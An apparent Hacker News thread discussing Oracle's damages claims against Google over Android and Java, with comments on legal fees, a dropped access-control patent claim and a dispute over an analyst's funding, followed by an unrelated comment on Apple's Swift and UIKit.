As the facts are emerging in Oracle's attack upon Google, it is clear that there are many complex elements here by which Android might ultimately be found to infringe upon Java in this or that respect but it is equally clear that, _when it is all put in context_ , the damage claims being asserted by Oracle are about as phony as one could imagine. This Groklaw piece does a splendid job of picking the high points from the critique that Google's lawyers have put together to decimate the report of Oracle's key damages expert. All I could think of as I read this was how this sort of phony "expert analysis" remains as prevalent as it did back in my early days of lawyering (over 30 years ago) - different legal context, different facts, same exact techniques, same sort of hired guns. It is enough to give anyone a very jaded view of law and how its outworkings can harm people. Here, Google is more than capable of being able to afford to hire the best in order to defend itself. But what does an average person or company do when faced with such situations? It is truly dismaying to contemplate.

Oracle will of course fight to resist Google's challenges to its damages claims and it will be up to the judge to decide. But the judge recently warned Oracle that this cycle will likely be its last chance to fix the problems with its expert's report (see <http://news.ycombinator.com/item?id=3500459> for a detailed analysis of this) and so this will soon reach a decisive point. The result will be, I believe, that Oracle will get its day in court but will only be able to proceed with a much-stripped-down version of its claims - <USER2> that might hurt Google a bit financially but will pose no real threat to the Android platform as a whole and will amount in time to nothing more than a blip on the radar.

<comment><USER3> Once this case ends - one way or the other - will Oracle be able to sue Google again by picking up some more patents (from its 500 odd java patents) ? Or is this case the end of suing based on Java related patents...

<comment><USER4> IIRC the judge in this case required Oracle to pick their best patents out of their portfolio and to sue on those alone. They don't get to go back and trawl through the rest of them hoping to get lucky a second (or third, or fourth) time.

</comment></comment></comment><comment><USER5> "The value of this case keeps getting smaller and smaller"

But the lawyers fees are still getting bigger and bigger.

Plus ça change.

<comment><USER6> Wouldn't both companies have in house lawyers fighting the case? In which case the lawyer fees would be just their salaries?

<comment><USER7> Google uses Keker & Van Nest (it's in the article).

</comment></comment></comment><comment><USER8> Fwiw, this is the now-dropped claim, which is claim #14 from a patent with the ultra-generic title, "Controlling access to a resource":

 _A computer-readable medium bearing instructions for providing security, the instructions including instructions for performing the steps of: detecting when a request for an action is made by a principal; determining whether said action is authorized based on an association between permissions and a plurality of routines in a calling hierarchy associated with said principal; wherein each routine of said plurality of routines is associated with a class; and wherein said association between permissions and said plurality of routines is based on a second association between classes and protection domains._

In other words, each user is associated with a class, which contains routines, and each class is associated with a protection domain.

</comment><comment><USER9> This almost looks like Oracle's lawyers didn't think they'd have to go to court.

</comment><comment><USER10> Is this really surprising?

Oracle were always going to massively inflate the amount to start with (forget that it was an expert report, we all know that you can pick and choose your experts), that's basic negotiating tactics. The bigger the number you can get into people's heads, the more reasonable a big number (even if it's not as big) seems.

I have no statistics but I'd be pretty surprised if this wasn't a pattern you saw in pretty much all cases where damages are being sought.

</comment><comment><USER11> I wonder if the paid Microsoft shill[1] Florian Mueller will comment on this? Likely not.

[1] [https://plus.google.com/109412257237874861202/posts/ACM7DmpF...](https://plus.google.com/109412257237874861202/posts/ACM7DmpFVkF)

<comment><USER12> Do you have any support for your claim? The link you gave does not support your claim.

Here's a clue: paid shills generally do not announce that they are being paid by the entity they are allegedly shilling for.

All the linked article is reporting is that an analyst has taken a job to write a report--which is known because the analyst posted about it on his blog, naming the client and what the report is about, and stated that he would post his findings.

Under your ridiculous apparent definition of "shill", _EVERYONE_ who does any research for pay is a shill for whoever is paying them.

edit: wow. Downvoted for calling out an unsupported ad hominem.

<comment><USER13> My theory is, he is a shill, but not for Microsoft. That is just how he earns money.

<comment><USER14> He is being paid by Microsoft. He wrote a Microsoft-sponsored report on FRAND patents... Quite coincidentally the very focus of the current strategy by Apple-Microsoft.

[http://fosspatents.blogspot.com/2011/10/study-on- worldwide-u...](http://fosspatents.blogspot.com/2011/10/study-on-worldwide- use-of-frand.html)

</comment></comment></comment></comment><comment><USER15> You can't out-google Google, even if you see the future. Or so they learned.</comment>


The Next Era Ends, the Swift Era Begins - <AUTHOR> https://inessential.com/2019/06/07/the_next_era_ends_the_swift_era_begins <comment><USER2> > In some respects UIKit is better, in other ways not. It's just that there > are so many more iOS apps than Mac apps.

I don't buy that this is a good idea. It shouldn't be about the number of apps but the kind of apps. Having a ton of iOS apps ported to Mac only dilutes the quality of Mac apps. What would be far better is to have a way to port Mac apps to iPadOS.

It's not quite so bad though, what Apple's trying to capture isn't the apps but the app developers. If they can get a fraction of iOS developers making apps specifically targeting Mac's and not iOS/iPadOS then it's a big win.</comment>